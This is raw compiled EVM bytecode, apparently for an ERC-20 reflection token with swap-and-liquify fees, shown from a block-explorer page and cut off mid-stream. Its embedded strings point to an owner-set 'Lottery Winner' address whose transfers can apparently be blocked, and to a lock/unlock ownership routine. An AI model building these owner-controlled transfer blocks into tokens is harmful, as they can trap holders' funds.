c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60155481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b612290613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060128190555050565b612362613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612422576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900460ff161561243c57600080fd5b6001600360006101000a81548160ff0219169083151502179055507fdccd1c7467c143e1a5b3306b29fa6d9ec4b5abc31257acd3e355edafa582abd060405160405180910390a1565b6060600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561251d5780601f106124f25761010080835404028352916020019161251d565b820191906000526020600020905b81548152906001019060200180831161250057829003601f168201915b5050505050905090565b60006125ea612534613363565b846125e585604051806060016040528060258152602001615618602591396006600061255e613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139259092919063ffffffff16565b61336b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461269a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806155f56023913960400191505060405180910390fd5b6002544211612711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612819613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600060011515600360009054906101000a900460ff1615151415612a1a57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4c6f74746572792057696e6e657200000000000000000000000000000000000081525060200191505060405180910390fd5b612a11612a0a613363565b8484613562565b60019050612a31565b612a2c612a25613363565b8484613562565b600190505b92915050565b6000600254905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612a6f613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600360009054906101000a900460ff16612b4857600080fd5b6000600360006101000a81548160ff0219169083151502179055507f04d5b2c2f5293a956dd0943d3212b5aa3ae1a61fc8fb77eb0777c2d03241626860405160405180910390a1565b612b99613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405180821515815260200191505060405180910390a150565b600360009054906101000a900460ff1681565b612cca613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612d8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612db4620f4240612da683600a54613b8890919063ffffffff16565b613a1090919063ffffffff16565b60158190555050565b612dc5613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e85576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61303d613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146130fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b613160613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156132a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061549e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806155a56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613477576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806154c46022913960400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156135e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806155806025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561366e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806154516023913960400191505060405180910390fd5b600081116136c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806155576029913960400191505060405180910390fd5b6136cf61225f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561373d575061370d61225f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561379e5760155481111561379d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806154e66028913960400191505060405180910390fd5b5b60006137a930611f92565b905060155481106137ba5760155490505b600060165482101590508080156137dc575060148054906101000a900460ff16155b801561383457507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561384c5750601460159054906101000a900460ff165b1561386057601654915061385f82613c0e565b5b600060019050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806139075750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561391157600090505b61391d86868684613cee565b505050505050565b60008383111582906139d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561399757808201518184015260208101905061397c565b50505050905090810190601f1680156139c45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006139f2613fff565b91509150613a098183613a1090919063ffffffff16565b9250505090565b6000613a5283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614290565b905092915050565b600080828401905083811015613ad8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613af98a614356565b9250925092506000806000613b178d8686613b126139e5565b6143b0565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b6000613b8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613925565b905092915050565b600080831415613b9b5760009050613c08565b6000828402905082848281613bac57fe5b0414613c03576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061550e6021913960400191505060405180910390fd5b809150505b92915050565b60016014806101000a81548160ff0219169083151502179055506000613c3e600283613a1090919063ffffffff16565b90506000613c558284613b3e90919063ffffffff16565b90506000479050613c6583614439565b6000613c7a8247613b3e90919063ffffffff16565b9050613c8683826146e7565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405180848152602001838152602001828152602001935050505060405180910390a15050505060016014806101000a81548160ff02191690831515021790555050565b80613cfc57613cfb614838565b5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613d9f5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613db457613daf84848461487b565b613feb565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613e575750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613e6c57613e67848484614adb565b613fea565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613f105750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613f2557613f20848484614d3b565b613fe9565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613fc75750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613fdc57613fd7848484614f06565b613fe8565b613fe7848484614d3b565b5b5b5b5b80613ff957613ff86151fb565b5b50505050565b6000806000600b5490506000600a54905060005b6009805490508110156142535782600460006009848154811061403257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061411957508160056000600984815481106140b157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561413057600b54600a549450945050505061428c565b6141b9600460006009848154811061414457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613b3e90919063ffffffff16565b925061424460056000600984815481106141cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613b3e90919063ffffffff16565b91508080600101915050614013565b5061426b600a54600b54613a1090919063ffffffff16565b82101561428357600b54600a5493509350505061428c565b81819350935050505b9091565b6000808311829061433c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156143015780820151818401526020810190506142e6565b50505050905090810190601f16801561432e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161434857fe5b049050809150509392505050565b6000806000806143658561520f565b9050600061437286615240565b9050600061439b8261438d858a613b3e90919063ffffffff16565b613b3e90919063ffffffff16565b90508083839550955095505050509193909250565b6000806000806143c98589613b8890919063ffffffff16565b905060006143e08689613b8890919063ffffffff16565b905060006143f78789613b8890919063ffffffff16565b90506000614420826144128587613b3e90919063ffffffff16565b613b3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6060600267ffffffffffffffff8111801561445357600080fd5b506040519080825280602002602001820160405280156144825781602001602082028036833780820191505090505b509050308160008151811061449357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561453357600080fd5b505afa158015614547573d6000803e3d6000fd5b505050506040513d602081101561455d57600080fd5b81019080805190602001909291905050508160018151811061457b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506145e0307f00000000000000000000000000000000000000000000000000000000000000008461336b565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156146a2578082015181840152602081019050614687565b505050509050019650505050505050600060405180830381600087803b1580156146cb57600080fd5b505af11580156146df573d6000803e3d6000fd5b505050505050565b614712307f00000000000000000000000000000000000000000000000000000000000000008461336b565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061475c61225f565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156147e157600080fd5b505af11580156147f5573d6000803e3d6000fd5b50505050506040513d606081101561480c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b600060105414801561484c57506000601254145b1561485657614879565b601054601181905550601254601381905550600060108190555060006012819055505b565b60008060008060008061488d87613ae2565b9550955095509550955095506148eb87600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061498086600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a1585600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614a6181615271565b614a6b8483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614aed87613ae2565b955095509550955095509550614b4b86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614be083600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614c7585600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614cc181615271565b614ccb8483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614d4d87613ae2565b955095509550955095509550614dab86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614e4085600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614e8c81615271565b614e968483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614f1887613ae2565b955095509550955095509550614f7687600560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061500b86600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506150a083600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061513585600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061518181615271565b61518b8483615416565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601154601081905550601354601281905550565b6000615239606461522b60105485613b8890919063ffffffff16565b613a1090919063ffffffff16565b9050919050565b600061526a606461525c60125485613b8890919063ffffffff16565b613a1090919063ffffffff16565b9050919050565b600061527b6139e5565b905060006152928284613b8890919063ffffffff16565b90506152e681600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615615411576153cd83600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61542b82600b54613b3e90919063ffffffff16565b600b8190555061544681600c54613a5a90919063ffffffff16565b600c81905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203acf8672c5d7aba06e36f71933948dcedd6b1bf935071b0faa598da4dc3b435564736f6c634300060c0033
Deployed Bytecode
0x6080604052600436106102555760003560e01c8063715018a611610139578063a9059cbb116100b6578063ce9a3b0f1161007a578063ce9a3b0f14610ca2578063d543dbeb14610ccf578063dd46706414610d0a578063dd62ed3e14610d45578063ea2f0b3714610dca578063f2fde38b14610e1b5761025c565b8063a9059cbb14610b71578063b6c5232414610be2578063ba13a57214610c0d578063c2b1a6b914610c4e578063c49b9a8014610c655761025c565b806392734aee116100fd57806392734aee146109f157806395d89b4114610a08578063a457c2d714610a98578063a69df4b514610b09578063a73b3c8214610b205761025c565b8063715018a6146108cc5780637d1db4a5146108e357806388f820201461090e5780638da5cb5b146109755780638ee88c53146109b65761025c565b806339509351116101d257806349bd5a5e1161019657806349bd5a5e146107165780634a74bb021461075757806352390c02146107845780635342acb4146107d55780636bc87c3a1461083c57806370a08231146108675761025c565b806339509351146105935780633b124fe7146106045780633bd5d1731461062f578063437823ec1461066a5780634549b039146106bb5761025c565b806318160ddd1161021957806318160ddd1461040957806323b872dd146104345780632d838119146104c5578063313ce567146105145780633685d419146105425761025c565b8063061c82d01461026157806306fdde031461029c578063095ea7b31461032c57806313114a9d1461039d5780631694505e146103c85761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b5061029a6004803603602081101561028457600080fd5b8101908080359060200190929190505050610e6c565b005b3480156102a857600080fd5b506102b1610f3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102f15780820151818401526020810190506102d6565b50505050905090810190601f16801561031e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033857600080fd5b506103856004803603604081101561034f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe0565b60405180821515815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610ffe565b6040518082815260200191505060405180910390f35b3480156103d457600080fd5b506103dd611008565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041557600080fd5b5061041e61102c565b6040518082815260200191505060405180910390f35b34801561044057600080fd5b506104ad6004803603606081101561045757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611036565b60405180821515815260200191505060405180910390f35b3480156104d157600080fd5b506104fe600480360360208110156104e857600080fd5b810190808035906020019092919050505061139c565b6040518082815260200191505060405180910390f35b34801561052057600080fd5b50610529611420565b604051808260ff16815260200191505060405180910390f35b34801561054e57600080fd5b506105916004803603602081101561056557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611437565b005b34801561059f57600080fd5b506105ec600480360360408110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117c1565b60405180821515815260200191505060405180910390f35b34801561061057600080fd5b50610619611874565b6040518082815260200191505060405180910390f35b34801561063b57600080fd5b506106686004803603602081101561065257600080fd5b810190808035906020019092919050505061187a565b005b34801561067657600080fd5b506106b96004803603602081101561068d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0b565b005b3480156106c757600080fd5b50610700600480360360408110156106de57600080fd5b8101908080359060200190929190803515159060200190929190505050611b2e565b6040518082815260200191505060405180910390f35b34801561072257600080fd5b5061072b611be5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076357600080fd5b5061076c611c09565b60405180821515815260200191505060405180910390f35b34801561079057600080fd5b506107d3600480360360208110156107a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1c565b005b3480156107e157600080fd5b50610824600480360360208110156107f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f36565b60405180821515815260200191505060405180910390f35b34801561084857600080fd5b50610851611f8c565b6040518082815260200191505060405180910390f35b34801561087357600080fd5b506108b66004803603602081101561088a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f92565b6040518082815260200191505060405180910390f35b3480156108d857600080fd5b506108e161207d565b005b3480156108ef57600080fd5b506108f8612203565b6040518082815260200191505060405180910390f35b34801561091a57600080fd5b5061095d6004803603602081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612209565b60405180821515815260200191505060405180910390f35b34801561098157600080fd5b5061098a61225f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109c257600080fd5b506109ef600480360360208110156109d957600080fd5b8101908080359060200190929190505050612288565b005b3480156109fd57600080fd5b50610a0661235a565b005b348015610a1457600080fd5b50610a1d612485565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a5d578082015181840152602081019050610a42565b50505050905090810190601f168015610a8a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610aa457600080fd5b50610af160048036036040811015610abb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612527565b60405180821515815260200191505060405180910390f35b348015610b1557600080fd5b50610b1e6125f4565b005b348015610b2c57600080fd5b50610b6f60048036036020811015610b4357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612811565b005b348015610b7d57600080fd5b50610bca60048036036040811015610b9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061291